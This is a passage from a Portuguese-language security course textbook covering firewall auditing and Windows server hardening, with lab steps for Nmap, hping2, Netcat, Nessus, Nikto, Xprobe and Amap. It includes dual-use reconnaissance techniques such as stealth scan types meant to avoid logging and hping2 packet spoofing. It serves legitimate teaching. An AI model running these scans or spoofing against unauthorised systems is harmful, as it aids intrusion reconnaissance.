final é minimizar ao máximo a quantidade de regras. Essa redução não só tornará o seu
firewall mais simples, como mais rápido, visto que terá menos regras para processar.

A seguir algumas considerações que devem ser avaliadas pelo auditor:

11 Eliminar regras desnecessárias.

11 Combinar regras repetitivas.

11 Eliminar regras não autorizadas.

11 Terminar com o mínimo possível de regras.

11 Documentar as regras.
Segurança de Redes e Sistemas

11 Verificar regras que realizam registros de acesso:

22 Somente registrar o necessário.

22 Registros excessivos podem ocupar muito espaço e diminuir o desempenho.

11 Verificar a existência de regras de bloqueio padrão.

11 Verificar se as regras são específicas.

22 Princípio do menor privilégio.

11 Utilizar ferramentas de varredura para validar as regras, como Nmap.

188
O Nmap é uma ferramenta simples e prática para validar regras de firewall, verificar as
portas abertas de um servidor ou até avaliar os serviços em uma rede inteira. Suporta
diversos tipos de varredura: S (SYN), T (Connect), A (ACK), W (Window), M (Maimon), U (UDP),
N (Null), F (FIN), X (Xmas), I (Idle), Y (SCTP), O (IP protocol)

Neste exemplo, executamos o Nmap com as opções padrão e passamos como parâmetro a rede
192.168.1.0/24, que corresponde ao endereço classe C 192.168.1.0 (máscara 255.255.255.0). Note
que o Nmap apresenta apenas os endereços IP que estão disponíveis, mostrando as portas
abertas em cada servidor.

Alguns parâmetros interessantes do Nmap: q


11 -O – realiza uma tentativa de detectar o sistema operacional da máquina analisada.

11 -P0 – realiza a varredura da máquina, mesmo que ela não responda ao ping. Útil em
servidores que estão sendo filtrados por firewalls.

11 -v – aumenta a quantidade de informação apresentada.

11 -s<tipo> – tipo de varredura utilizada; algumas varreduras procuram evitar que


o sistema destino registre as tentativas de acesso.

Um exercício interessante é realizar scans utilizando diversos tipos diferentes e verificar o tipo
de registro que aparece no servidor remoto. A seguir outro exemplo do Nmap, agora utili-
zando a opção –O, que procura adivinhar a versão do sistema operacional do sistema-destino:

macbook-pro-de-ivo-peixinho:~ root# nmap 192.168.1.1 -O

Starting Nmap 5.00 ( http://nmap.org ) at 2010-12-30 18:07 BRT.

Interesting ports on 192.168.1.1:

Not shown: 997 closed ports

PORT STATE SERVICE

23/tcp open telnet

80/tcp open http

5431/tcp open park-agent

MAC Address: 00:23:CD:FA:10:E7 (Tp-link Technologies CO.)

Device type: general purpose


Capítulo 8 - Auditoria de Segurança da Informação
Running: Linux 2.6.X

OS details: Linux 2.6.13 - 2.6.27

Network Distance: 1 hop

OS detection performed. Please report any incorrect results at


http://nmap.org/submit/.

Nmap done: 1 IP address (1 host up) scanned in 2.77 seconds

189
Verifique que o Nmap detectou o sistema operacional como Linux, porém o MAC Address se
refere à empresa TP-Link. Com um pouco de investigação, chegaremos à conclusão de que se
trata de um modem ADSL, da marca TP-Link, que provavelmente executa uma versão do sistema
operacional Linux. Um Telnet na porta 23, que está aberta, já nos fornece uma pista importante:

macbook-pro-de-ivo-peixinho:~ root# telnet 192.168.1.1

Trying 192.168.1.1...

Connected to 192.168.1.1.

Escape character is ‘^]’.

BCM96338 ADSL Router

Login:

Por fim, uma execução do Nmap, para realizar um FIN scan:

macbook-pro-de-ivo-peixinho:~ root# nmap -sF 192.168.1.1

Starting Nmap 5.00 (http://nmap.org) at 2010-12-30 18:15 BRT

Warning: Unable to open interface vboxnet0 -- skipping it.

Warning: Unable to open interface vmnet1 -- skipping it.

Warning: Unable to open interface vmnet8 -- skipping it.

Interesting ports on 192.168.1.1:

Not shown: 997 closed ports

PORT STATE SERVICE

23/tcp open|filtered telnet

80/tcp open|filtered http

5431/tcp open|filtered park-agent

MAC Address: 00:23:CD:FA:10:E7 (Tp-link Technologies CO.)

Nmap done: 1 IP address (1 host up) scanned in 6.68 seconds

Outra ferramenta interessante para testar configuração de firewall é a ferramenta Netcat.


Ela é conhecida como o “canivete suíço” das redes, devido à sua versatilidade. Imagine que
desejamos testar se a porta 3500 TCP está disponível em um determinado servidor, porém
Segurança de Redes e Sistemas

não temos nenhum serviço em execução nesta porta. Com o Netcat, podemos registrar um
serviço nesta porta:

root# nc -l 3500

Em outra estação, podemos realizar uma conexão com o servidor, na porta 3500:

root# nc 192.168.1.6 3500

190
Dessa forma, caso o tráfego esteja permitido, tudo o que escrevermos na estação será
apresentado no servidor. Por fim, temos a ferramenta Hping2, que permite enviar pacotes
arbitrários para uma máquina remota. No exemplo abaixo, vamos utilizar o Hping2 para
enviar pacotes TCP para a porta 443 do servidor 192.168.1.1, com a flag SYN habilitada:

ivocarv$ sudo hping2 192.168.1.1 -S -V -p 443

using en1, addr: 192.168.1.6, MTU: 1500

HPING 192.168.1.1 (en1 192.168.1.1): S set, 40 headers + 0 data bytes

len=46 ip=192.168.1.1 ttl=64 DF id=3656 tos=0 iplen=40

sport=443 flags=RA seq=0 win=0 rtt=3.0 ms

seq=0 ack=1787010098 sum=ab1a urp=0

len=46 ip=192.168.1.1 ttl=64 DF id=3657 tos=0 iplen=40

sport=443 flags=RA seq=1 win=0 rtt=2.1 ms

seq=0 ack=235069102 sum=af34 urp=0

len=46 ip=192.168.1.1 ttl=64 DF id=3658 tos=0 iplen=40

sport=443 flags=RA seq=2 win=0 rtt=3.0 ms

seq=0 ack=1716272813 sum=657c urp=0

len=46 ip=192.168.1.1 ttl=64 DF id=3659 tos=0 iplen=40

sport=443 flags=RA seq=3 win=0 rtt=2.0 ms

seq=0 ack=184330740 sum=6d6c urp=0

Caso desejamos habilitar a flag ACK, basta adicionar o parâmetro –A:

ivocarv$ sudo hping2 192.168.1.1 -S -V -A -p 80

using en1, addr: 192.168.1.6, MTU: 1500


Capítulo 8 - Auditoria de Segurança da Informação
HPING 192.168.1.1 (en1 192.168.1.1): SA set, 40 headers + 0 data
bytes

len=46 ip=192.168.1.1 ttl=64 DF id=3661 tos=0 iplen=40

sport=80 flags=R seq=0 win=0 rtt=2.1 ms

seq=15376070 ack=0 sum=6984 urp=0

len=46 ip=192.168.1.1 ttl=64 DF id=3662 tos=0 iplen=40

sport=80 flags=R seq=1 win=0 rtt=2.1 ms

seq=701031830 ack=0 sum=ba14 urp=0

191
len=46 ip=192.168.1.1 ttl=64 DF id=3663 tos=0 iplen=40

sport=80 flags=R seq=2 win=0 rtt=2.2 ms

seq=1666713083 ack=0 sum=c4ba urp=0

Por fim, vamos enviar pacotes UDP na porta 53, alterando o endereço de origem para o
endereço 192.168.1.150:

ivocarv$ sudo hping2 192.168.1.1 --udp --spoof 192.168.1.150 -p 53

HPING 192.168.1.1 (en1 192.168.1.1): udp mode set, 28 headers + 0


data bytes

^C

--- 192.168.1.1 hping statistic ---

1 packets tramitted, 0 packets received, 100% packet loss

w
Exercício de fixação 2 e
Todas as ferramentas
Arquitetura do firewall indicadas podem ser
instaladas a partir do
Que tópicos devem ser verificados na auditoria da arquitetura do firewall? apt-get do Debian ou
baixadas do site de
cada ferramenta
(Netcat, Hping, Nmap).
Algumas delas também
possuem versões para

Exercício de fixação 3 e Windows, Mac OS X e


outras plataformas.
Testando o firewall
Quais são as questões importantes que devem ser verificadas no teste do firewall?

Explique como devem ser realizadas as regras do firewall. O que deve ser observado?

Alertas e registros
Registros e alertas são itens importantes em uma política de segurança; porém, se eles não
Segurança de Redes e Sistemas

são vistos periodicamente pela equipe responsável, de nada adiantam. Firewalls com muitos
registros sendo gerados podem ser facilmente esquecidos pelo administrador, que fica
perdido entre tantos dados.

Alertas podem ser configurados para envio por e-mail ou SMS, de modo que possam ser mais
facilmente vistos pelo administrador. Revisar os registros periodicamente pode ser útil para
detectar tentativas de ataqu, e permitir aos responsáveis a tomada de ações proativas.

192
Algumas recomendações que devem ser observadas pelo auditor: q
11 Os registros de log estão precisos? Estão sendo gerados mais registros do que
o necessário?

11 Existe procedimento para analisar os alertas? Eles são enviados para um local
de rápida verificação?

11 Os registros estão em local seguro?

11 O horário do firewall está correto? Ele está sendo sincronizado com uma fonte
de tempo confiável?

Por fim, verificamos que a tarefa de auditoria não é uma tarefa simples. Apesar de existirem
ferramentas que auxiliam o auditor em algumas questões, elas não resolvem todos os pro-
blemas. Bom senso e conhecimento ainda são fundamentais. Durante as atividades práticas,
vamos exercitar o uso do Nessu, e teremos oportunidade de utilizar as demais ferramentas
apresentadas neste capítulo.

Capítulo 8 - Auditoria de Segurança da Informação

193
Segurança de Redes e Sistemas

194
Roteiro de Atividades 8
Atividade 1 – Auditoria com Nessus
Instale e configure o Nessus, conforme apresentado na parte teórica. Realize uma auditoria
a partir da estação cliente, objetivando analisar os dois servidores presentes na rede de
servidores. Oriente o Nessus a analisar a rede inteira.

Passo 1 Baixe o pacote do Nessus no endereço:


http://www.nessus.org/download/
Escolha a versão para Linux Debian 32 bits.
Foi disponibilizada no diretório home do usuário root da sua máquina virtual
uma versão do Nessus. Caso não seja possível o download da versão mais
atual, essa versão pode ser utilizada.

Passo 2 Instale o pacote na máquina virtual BackTrack com o comando:


# dpkg –i /root/Nessus-4.4.0-debian5_i386.deb

Passo 3 Faça o registro no site do projeto com o perfil de licença HomeFeed. Esse perfil
é o suficiente para o propósito desta atividade. Para fazer o registro, acesse:
http://www.nessus.org/register/
Cadastre um e-mail válido, para o qual será enviado o número da licença.

Passo 4 Inicie o servidor Nessus com o comando:


# /etc/init.d/nessusd start

Passo 5 Acesse o console de gerência do Nessus, a partir de um navegador web da


máquina Windows XP: https://172.16.G.30:8834
Certifique-se de que existe regra de exceção no firewall para permitir essa
conexão e não esqueça de seguir os passos indicados pelo instalador web, em
especial o passo que solicita a digitação do registro do Nessus.
Se você digitar o número de registro e por algum motivo o Nessus não conse-
guir conexão à internet, poderá ser necessário gerar outra chave de registro.

Passo 6 Com o console aberto, crie uma nova Policy, com o nome “padrao”.
Marque todas as opções de Port Scanners disponíveis.
Em Credentials, aceite as configurações padrão.
Habilite todos os filtros, clicando no botão Enable All. No restante das opções,
aceite os valores padrão.

Passo 7 No console do Nessus, crie um novo Scan com os parâmetros:


Nome: RedeDMZ
Type: Run Now
Policy: Padrao
Capítulo 8 - Roteiro de Atividades

Scan Targets: 172.16.G.0/24


Clique no botão Launch Scan.

Passo 8 Analise o relatório gerado pelo Nessus no menu Reports. Foi possível encon-
trar os hosts da rede DMZ? Quais serviços foram encontrados? Existe alguma
falha que possa comprometer a segurança dos sistemas?

195
Atividade 2 – Auditoria sem filtros de pacotes
Agora retire todas as regras do firewall e refaça a auditoria com uso no Nessus a partir da
estação cliente, objetivando os dois servidores presentes na rede DMZ. Oriente o Nessus
para analisar apenas os dois endereços IPs, para agilizar o processo.

Passo 1 Desabilite todas as regras no firewall do host FWGW1. Pode ser utilizado o
seguinte comando:
# iptables-restore < /etc/iptables.down.rules

Passo 2 Acesse o console de gerência do Nessus, a partir de um navegador web da


máquina Windows XP: https://172.16.G.30:8834
Certifique-se de que existe regra de exceção no firewall para permitir essa
conexão.

Passo 3 Com o console aberta, crie uma nova Policy, com o nome “VerificaIDS”. Marque
as opções de Port Scanners, TCP Scan e SYN Scan, escolha Port Scan Range
80,443. Em Credentials, aceite as configurações padrão. Habilite apenas os
filtros relacionados a servidores web, clicando no botão Disable All e habili-
tando apenas as famílias de regras CGI abuses e Web Servers. No restante das
opções, aceite os valores padrão.

Passo 4 Abra uma sessão Shell no host FWGW1 e deixe listando todos alertas do
Snort, com o comando:
# tail –f /var/log/snort/alert

Passo 5 No console do Nessus, crie um novo Scan com os parâmetros:


Nome: WebDMZ
Type: Run Now
Policy: VerificaIDS
Scan Targets: 172.16.G.10,172.16.G.20
Clique no botão Launch Scan.

Passo 6 Verifique os logs do Snort. Foi registrada alguma tentativa de explorar falhas
em serviços web?

Atividade 3 – Auditoria do IDS


Insira as regras de bloqueio de firewall criadas no capítulo3 e realize a auditoria novamente.
Caso tenha realizado a auditoria com as regras retiradas, insira-as agora e realize nova audi-
toria. Compare os dois relatórios e verifique o que mudou. Altere parâmetros no Nessus e
verifique as mudanças nos resultados.

Atividade 4 – Exemplo de auditoria


A partir do exemplo que foi dado sobre auditoria em um firewall, imagine uma auditoria em
Segurança de Redes e Sistemas

uma ferramenta de IDS. Quais detalhes você analisaria? Procure verificar as diferenças entre
esta auditoria e o exemplo do firewall.

196
Atividade 5 – Utilizando o Nikto
A ferramenta Nikto é um scanner de vulnerabilidades especializado, ou seja, desenvolvido
para análise um determinado serviço. Nesta atividade pede-se para executar o Nessus e
o Nikto contra o servidor Windows 2008 e comparar o relatório gerado. Os passos abaixo
explicam como instalar e executar o Nikto.

Passo 1 Baixe o Nikto no Servidor LinServer e descompacte-o:


# wget -c http://www.cirt.net/nikto/nikto-current.tar.gz
# tar -xzpf nikto-current.tar.gz
# cd nikto-2.1.4

Passo 2 Agora vamos executar a atualização do Nikto:


# ./nikto.pl -update

Passo 3 Agora vamos disparar o Nikto contra o servidor Windows 2008 que possui
o serviço HTTP instalado:
# ./nikto.pl -h 172.16.G.20 -o /tmp/relatorio.txt
Acesse o arquivo /tmp/relatorio.txt e veja as vulnerabi-
lidades encontradas. Pesquise no Google sobre algumas das
vulnerabilidades indicadas e como você poderia corrigi-las.

Atividade 6 – Utilizando o Xprobe


O Xprobe é um utilitário que permite identificar, remotamente, a versão do sistema opera-
cional da máquina-alvo. Para executar essa atividade ele busca, entre outros testes, identi-
ficar o sistema operacional a partir da forma de implementação do protocolo TCP/IP.

Nesta atividade, iremos executar o Xprobe contra as máquinas Linux e Windows Server e
observa o resultado gerado.

Passo 1 Para instalar o Xprobe no Debian, execute:


# apt-get install xprobe2

Passo 2 Agora execute o Xprobe contra os servidores Linux e Windows e guarde os


resultados para discutir na sala de aula:
# xprobe2 172.16.G.1
# xprobe2 172.16.G.20
Capítulo 8 - Roteiro de Atividades

197
Atividade 7 – Utilizando o THC-Amap
O THC-Amap é uma ferramenta para a identificação remota de serviços de rede. Seu modo
de funcionamento busca identificar o serviço em uma máquina-alvo pelo banner do serviço
e não apenas pelo número da porta.

Nesta atividade executaremos o Amap contra as máquinas Linux e Windows Server e


observar o resultado gerado.

Passo 1 Para instalar o THC-Amap no Debian, execute:


# apt-get install gcc make gcc++
# wget http://freeworld.thc.org/releases/amap-5.2.tar.gz
# tar xvzf amap-5.2.tar.gz

l
# cd amap-5.2
# ./configure
# make Saiba mais
# make install Para mais informações
sobre o Amap, acesse:
Passo 2 Agora execute o Amap. Nesta tentativa, iremos tentar identificar o serviço na http://www.aldeid.com/
máquina-alvo que está executando na porta 22. wiki/Thc-amap
# amap –bqv 172.16.G.1 22
Segurança de Redes e Sistemas

198
9
Configuração segura de
servidores Windows
objetivos

Apresentar técnicas básicas de configuração segura de servidores Windows, configurar


filtros de pacotes, analisar processos ativos, criar uma configuração inicial e desabilitar
processos e serviços desnecessários.

conceitos
Técnicas de proteção em profundidade, como firewalls de perímetro e proxy, IDS e IPS.

Introdução
Prevenir acesso não autorizado a dados sensíveis é essencial em qualquer ambiente em que
múltiplos usuários têm acesso aos recursos físicos ou via rede. Um sistema operacional deve
ser configurado de forma segura antes de ser exposto em uma rede pública não controlada,
como o caso da internet. Este processo de reforçar a segurança é chamado de hardening.
Veremos neste capítulo técnicas e ferramentas utilizadas em ambientes Microsoft Windows
que auxiliam nestas atividades.

Apesar de muito importante, o administrador de segurança não deve confiar inteiramente


na segurança do servidor após o hardening, pois alguma configuração insegura pode ter
passado despercebida, ou alguma nova vulnerabilidade, desconhecida quando o hardening

Capítulo 9 - Configuração segura de servidores Windows


foi implantado, podendo ter afetado o servidor em questão. Seguindo o princípio da defesa
em profundidade, recomenda-se que o servidor seja ainda protegido por outros recursos,
como firewalls, proxies reversos, IDS (HIDS e NIDS) e IPS.

Exercício de nivelamento 1 e
Configuração segura de servidores Windows
O que você entende por hardening?

Na sua organização como é realizado o hardening? Como é seguido o princípio da defesa


em profundidade?

199
Necessidade de configuração de um bastion host
Em um ambiente Microsoft Windows, publicado na internet, é vital utilizar o conceito de
bastion host para garantir a integridade do sistema. Existem inúmeras falhas de segurança
documentadas que permitem ao invasor acesso total à máquina-alv, quando esta é disponi-
bilizada em uma rede pública e com a instalação padrão do sistema operacional.

Atualmente, esse valor é inferior a 10 minutos, de modo que uma máquina conectada à internet
por um tempo superior provavelmente já está infectada por algum worm ou foi invadida.
w
O Internet Storm
O bastion host será uma máquina exposta na rede pública disponibilizando recursos e Center (ISC) publica
serviços. Por ser uma máquina com serviços públicos, essa será a primeira barreira a ser uma estatística sobre o
tempo em que uma
vencida por um invasor para tentar obter acesso aos sistemas da rede privada.

q
máquina sem nenhuma
correção de segurança
Existem várias implementações possíveis de bastion hosts, de acordo com os serviços
“sobrevive” na internet.
que ele oferece. Alguns exemplos: http://www.dshield.org/
survivaltime.html
11 Firewall gateways.

11 Servidores web.

11 Servidores FTP.

11 Servidores de nome DNS.

11 Transportadores de e-mail.

No caso, um bastion host pode oferecer mais de um serviço, conforme as topologias já


discutidas em sessões anteriores.

Exercício de fixação 1 e
Bastion host
O que é um bastion host? Qual a sua finalidade?

Check-list
É recomendado planejar a instalação e escrever um check-list das atividades a serem q
realizadas e auditadas nos servidores públicos:

11 Remover ou desabilitar todos os serviços não necessários no host.

11 Remover ou desabilitar todas as contas de usuário não necessárias.

11 Remover ou desabilitar todos os protocolos de rede não utilizados.

11 Configurar adequadamente os registros de log do sistema para que possam identi-


Segurança de Redes e Sistemas

ficar possíveis ataques ou atividade suspeita.

11 Implantar um sistema de detecção de intrusão de host.

11 Atualizar o sistema operacional com as últimas correções de segurança disponibili-


zadas pelo fabricante.

11 Filtrar todas as portas que não são necessárias para o host.

11 Utilizar conexão criptografada para conectar no host.

11 Evitar a instalação de aplicativos não necessários e/ou notadamente vulneráveis,


como Flash, PDF Viewers, Java etc.

200
A seguir, veremos com mais detalhes as configurações de segurança recomendadas para
servidores que utilizam o sistema operacional Microsoft Windows.

Configuração de filtros de pacotes


O Windows XP, 2003, 2008 e 7 trazem no próprio sistema operacional um aplicativo para q
controlar o filtro de pacotes.

No XP e 2003, o filtro de pacote é simples, o que justifica o uso de aplicativo de terceiros


para melhor controle do filtro, como por exemplo o Zone Alarm, da Check Point.

No Windows 7 e Windows Server 2008, o aplicativo recebeu atualizações significativas,


permitindo a configuração de perfis e a importação e exportação de regras, entre
outras funcionalidades.

Podemos utilizar uma ferramenta que acompanha o sistema operacional: netstat, ou


ferramentas adicionais como o TCPview da suíte Sysinternals. Através do netstat e do
TCPview, verificamos as portas abertas no servidor para localizar e desabilitar o serviço
em questão, ou filtrar a porta.

Cada serviço de rede presente em um servidor pode escutar uma porta, TCP ou UDP, para
receber conexões de outros servidores ou clientes. Alguns desses serviços são importantes
para o bom funcionamento do servidor, e nem sempre podem ser desabilitados. Quando
verificamos as portas abertas em uma configuração padrão de um servidor Windows,
vemos que existe uma série de portas que são abertas por padrão no sistema. Colocar um
sistema de forma pública na internet, sem a devida filtragem dos serviços que não estão em
uso, é arriscado e pode comprometer a segurança do servidor.

Felizmente, muitos sistemas operacionais permitem que seja configurado um filtro de


pacotes para controlar as portas que estarão disponíveis para serem conectadas por hosts
externos. A versão padrão do Windows XP, 2003, 2008 e 7 trazem no próprio sistema opera-
cional um aplicativo para controlar o filtro de pacotes. No caso específico do XP e do 2003,
o filtro de pacote é mais simples, o que justifica o uso de aplicativo de terceiros para melhor
controle do filtro, como por exemplo o Zone Alarm, da Check Point.

Lembre-se de que essa filtragem é local, e não deve ser utilizada para substituir uma
filtragem de perímetro, propriamente feita através de um firewall, mas apenas como um
mecanismo adicional de segurança (defesa em profundidade). O aluno deve observar
também que caso haja muitos servidores disponibilizando serviços públicos, a configuração

Capítulo 9 - Configuração segura de servidores Windows


de filtros de pacotes locais em cada servidor pode tornar o gerenciamento do ambiente
complexo, de modo que o uso de filtros em cada servidor deve ser feito com parcimônia.

Para listar as portas que estão aguardando conexão de rede ou as conexões estabelecidas,
podemos usar uma ferramenta do próprio sistema operacional, neste caso com o comando
netstat, como mostra a próxima figura.

201
Figura 9.1
Conexões de rede.

A suíte de ferramentas SYSInternals oferece outra ferramenta para listar com mais detalhes
as conexões de rede estabelecidas e seus respectivos processos, além de também listar as
portas que estão aguardando por conexões de rede. Segue abaixo exemplo de listagem de
portas da ferramenta TCPview.
Segurança de Redes e Sistemas

Figura 9.2
Conexões de rede
com TCPView.
202
Através do netstat e do TCPview, podemos verificar as portas que estão abertas no servidor,
de modo a localizar e desabilitar o serviço em questão ou filtrar a porta. Outra forma de
verificar as portas abertas é utilizando o Nmap. Desabilitar serviços em sistemas Windows é
um processo que demanda certa paciência. Caso um serviço essencial seja desabilitado,
algum comportamento inesperado pode acontecer. Recomenda-se que seja utilizada uma
máquina de testes, para se criar familiaridade com o processo, antes de desabilitar serviços
em servidores em produção. Mais à frente, serão vistos com mais detalhes o modo de
desabilitar serviços no Windows.

O Windows Firewall é o aplicativo que acompanha o sistema operacional para controle de


conexões de rede, que normalmente vem configurado por padrão na instalação padrão do
Windows. Nas versões Windows 7 e Windows Server 2008, o aplicativo recebeu atualizações
significantes, permitindo a configuração de perfis, importação e exportação de regras, entre
outras funcionalidades.

Figura 9.3
Windows Firewall
para Windows
Server 2008.

Capítulo 9 - Configuração segura de servidores Windows


Abaixo, seguem os passos para criar uma regra no firewall:

1. Clique na opção desejada de acordo com a necessidade de criar uma regra de entrada
(pacotes que entram no servidor) ou regra de saída (pacotes que saem do servidor).

2. No painel de ações, no lado direito, clique em “Nova Regra” (New Rule).

203
3. Selecione que deseja criar uma regra para uma porta.

4. Selecione o protocolo (TCP ou UDP).

5. Selecione as portas que deseja incluir nesta regra, separadas por vírgula.

6. Selecione a ação desejada (permitir, permitir com IPsec ou bloquear).

7. Selecione os perfis aos quais esta regra vai se aplicar.

8. Defina um nome e uma descrição para a regra.

Por fim, verifique a regra criada no painel da ferramenta. Você pode testar as suas regras
com os comandos já apresentados.

Desabilitar serviços em sistemas Windows é um processo que demanda paciência.


Caso um serviço essencial seja desabilitado, pode ocorrer algum comportamento
inesperado. Outra forma de identificar os serviços ativos e não bloqueados pelo
firewall é através de Nmap.

Exercício de fixação 2 e
Configuração de filtros de pacotes
Explique como deve ser feita a configuração de filtro de pacotes.

Criação de uma linha base de segurança (baseline)


Uma baseline é uma referência inicial de segurança, um ponto inicial para a evolução q
para uma configuração segura. É importante criar um mapa do tempo dos servidores da
rede, registrando a data de instalação do sistema operacional, das principais correções
e da instalação de aplicativos. Essa linha do tempo será útil para manter atualizado o
inventário dos sistemas e, principalmente, para uma eventual auditoria.

Uma baseline consiste em uma referência inicial de segurança, um ponto inicial, a partir do qual
se evolui para uma configuração segura. Os servidores Windows possuem alguns perfis padrão
de segurança, de acordo com o papel que aquele servidor irá desempenhar. Mais adiante, serão
vistas algumas ferramentas que permitem a criação de uma baseline e a posterior auditoria
para verificar se a configuração atual atende ao mínimo necessário de segurança.

Além da baseline, é preciso criar um mapa do tempo (timeline) dos servidores da rede,
registrando a data de instalação do sistema operacional, das principais correções e da ins-
talação de aplicativos. Essa linha do tempo será útil para manter atualizado o inventário dos
Segurança de Redes e Sistemas

sistemas e principalmente para uma eventual auditoria.

Desabilitando serviços desnecessários


O Windows 2008 Server traz alguns avanços de segurança que auxiliam na criação de q
um bastion host: os papéis. O conceito de papéis (roles) ajuda no processo de habilitar
somente programas necessários e evitar comprometer a segurança do sistema.

O sistema de papéis, quando aplicado, irá:

11 Iniciar somente os serviços necessários.

11 Liberar exceções nos filtros de pacotes nas interfaces de rede que forem necessárias.
204
Logo após a instalação do sistema operacional, depois do primeiro acesso ao sistema, a
ferramenta de configuração de papéis é apresentada. Com a escolha de um determinado
role, o aplicativo iniciará somente os serviços e liberará exceções nos filtros de pacotes nas
interfaces de rede em que isso for necessário. Essa é uma grande evolução, que facilita o
processo de desabilitar serviços desnecessários e liberar regras de acesso para os serviços
que estão sendo usados.

Figura 9.4
Regras de configu-
ração do Windows
2008 Server.

Nos sistemas operacionais que possuem o recurso de roles, é importante verificar se os


roles realmente disponibilizam somente os serviços necessários. Nos sistemas operacionais
mais antigos da Microsoft (Windows XP e 2003 Server), os serviços se tornam o principal
controle de recursos disponíveis no sistema, de modo que devem ser desabilitados de
forma manual. A ferramenta Services MMC, que acompanha o sistema operacional, ajuda
nessa tarefa. Ela pode ser encontrada no Painel de Controle, no item “Ferramentas Adminis-
trativas”. Ao iniciar a ferramenta Services, obtemos a seguinte tela:

Capítulo 9 - Configuração segura de servidores Windows

205
Através da ferramenta, podemos iniciar, encerrar e desabilitar serviços. Para iniciar e encerrar Figura 9.5
um serviço, basta clicar em cima do serviço e escolher uma das opções, que se assemelham Serviços do
Windows XP.
aos controles de um programa tocador de música. Note que alguns serviços não podem ser
encerrados, pois são serviços essenciais para o funcionamento do sistema operacional. Para
desabilitar um serviço, basta clicar no serviço desejado e mudar o startup type para disabled.

Uma tarefa importante para a configuração segura de servidores consiste em saber a porta
TCP ou UDP associada a um determinado serviço, de modo que possamos desabilitar os ser-
viços desnecessários que abrem portas de rede no servidor. Essa tarefa pode ser realizada
utilizando alguns utilitários disponíveis na internet. Abaixo, um exemplo de como podemos
descobrir um serviço que corresponda a uma porta específica.

1. Através do netstat –ano ou do TCPview, verificamos uma porta da qual desejamos saber o
serviço correspondente. No exemplo abaixo, a porta UDP 1900, que corresponde ao pro-
cesso de número 1216 (svchost.exe). Geralmente um serviço é executado por esse programa.
Segurança de Redes e Sistemas

2. A partir do número do processo, verificamos no Process Explorer as propriedades do


processo em questão. Na aba Services, encontramos os serviços associados ao processo
svchost.exe em questão.

206
Figura 9.6
Serviços
associados ao
processo
svchost.exe.

3. No caso, um dos serviços apresentados é o serviço que procuramos. O próximo passo é


desabilitar os serviços em questão, um a um, até que a porta em questão desapareça do
netstat ou do TCPview. No exemplo acima, o serviço responsável pela porta 1900 UDP é o
SSDP Discovery Service.

4. Na Wikipedia (List of TCP and UDP port numbers) há uma lista de portas conhecidas e os
processos correspondentes, onde podemos confirmar que a porta 1900 UDP corresponde

w de fato ao serviço SSDP, que possui relação com a descoberta de dispositivos UPnP.

Exercício de fixação 3 e
O Process Explorer
pode ser encontrado
no endereço: Baseline
http://technet.
microsoft.com/en-us/ Explique o que é uma linha base de segurança.
sysinternals/bb896653

Capítulo 9 - Configuração segura de servidores Windows

Ferramentas de análise da segurança do Windows


11 Windows Management Instrumentation Console (WMIC). q
11 Windows Server Update Services (WSUS).

11 Microsoft Baseline Security Analyzer (MBSA).

Existem várias ferramentas que auxiliam na administração de segurança de servidores


Windows. As ferramentas que acompanham o sistema operacional são preteridas por nor-
malmente continuarem funcionando mesmo após grandes atualizações, como no caso de

207
um Service Pack. Porém, ferramentas terceiras normalmente trazem informações mais deta- l
lhadas e com relatórios úteis na gestão dos servidores. Vamos ver exemplos de ferramentas
Saiba mais
úteis para a análise de segurança de servidores Windows.
Para maisores detalhes
WMIC dos comandos dispo-
níveis, consulte a ajuda
on-line ou através do
Windows Management Instrumentation Console (WMIC) é também conhecida como “canivete
próprio aplicativo com
suíço do Windows”. Essa ferramenta é executada em linha de comando e pode ser executada o comando: wmic /?
no servidor local ou remoto pela rede de dados. Essa ferramenta está disponível em todas as
versões do Windows a partir do Windows NT.

A sintaxe do WMIC é sempre: wmic <objeto> <ação> Figura 9.7


Exemplo de uso
Exemplo: do WMIC.

Principais objetos no auxílio de auditoria de segurança: q


11 startup: lista todos os processos que são iniciados junto com o sistema operacional.

11 process: lista dos processos executados pelo sistema.

11 cpu: informações sobre o processador físico.

11 group: lista de grupos cadastrados no sistema.

11 useraccount: lista dos usuários cadastrados no sistema.


Figura 9.8
O WMIC é capaz de gerar relatórios em vários formatos, como CSV, XML, HTML, através da Mais um exemplo
diretiva /FORMAT:<formato>. Mais um exemplo do uso do WMIC: de uso do WMIC.
Segurança de Redes e Sistemas

SYSInternals
A suíte de ferramentas desenvolvidas inicialmente por Mark Russinavich e Bryce Cogswell
oferece a possibilidade de uma verificação mais detalhada do funcionamento do sistema
operacional. As ferramentas podem ser baixadas gratuitamente do site da Microsoft:
http://technet.microsoft.com/en-us/sysinternals/

208
Algumas já foram apresentadas, como o TCPview e o Process Explorer.

Com o objetivo de auxiliar o analista a gerenciar o host, resolver problemas e diagnosticar


o sistema operacional e aplicativos, a Microsoft adquiriu em 2006 a suíte de ferramentas
SYSInternals e contratou Mark Russinavich para continuar na equipe de desenvolvimento da
suíte de ferramentas.

A seguir algumas ferramentas importantes da suíte do SysInternals: q


11 Autoruns: mostra os programas que inicializam automaticamente com o sistema.

11 Diskmon: captura toda a atividade do disco rígido.

11 EFSDump: verifica informações sobre arquivos cifrados.

11 ProcDump: captura área de memória de processos.

11 PsService: visualiza e controla serviços.

11 RootkitRevealer: verifica o sistema em busca de programas maliciosos do tipo rootkit.

11 Process Monitor: monitora diversas informações sobre processos, incluindo altera-


ções do registry e do sistema de arquivos. Muito útil para verificar o comportamento
de certos programas.

Capítulo 9 - Configuração segura de servidores Windows

Figura 9.9 Outra ferramenta bastante útil é o dumpsec, da SystemTools: http://www.systemtools.com


Exemplo de uso
do psinfo. Com ela você poderá gerar um arquivo de texto contendo todas as permissões de acesso dos
usuários referentes a arquivos, pastas, registros e compartilhamentos. Tal relatório permite
identificar se todas as permissões estão configuradas de acordo com a política da organização.

209
WSUS
Windows Server Update Services (WSUS) é uma ferramenta da Microsoft que auxilia no
processo de atualizações dos sistemas e aplicativos Microsoft. É um serviço que pode ser
executado em versões do Windows Server 2000, 2003 e 2008. Esse serviço é responsável
por baixar as atualizações dos servidores da Microsoft e distribuí-las para as estações de
trabalho e servidores da rede. Essa distribuição pode ser realizada automaticamente de
forma pré-aprovada pelo administrador do sistema ou com aprovações manuais para cada
atualização, em casos mais críticos.

O WSUS também é capaz de gerar relatórios personalizados da situação de cada host da


rede, exibindo detalhes da atualização do sistema operacional e aplicativos Microsoft. A ins-
talação do WSUS, pela sua complexidade, não será coberta por esse curso, porém existem
diversos guias na internet que explicam em detalhes a instalação da ferramenta. A seguir,
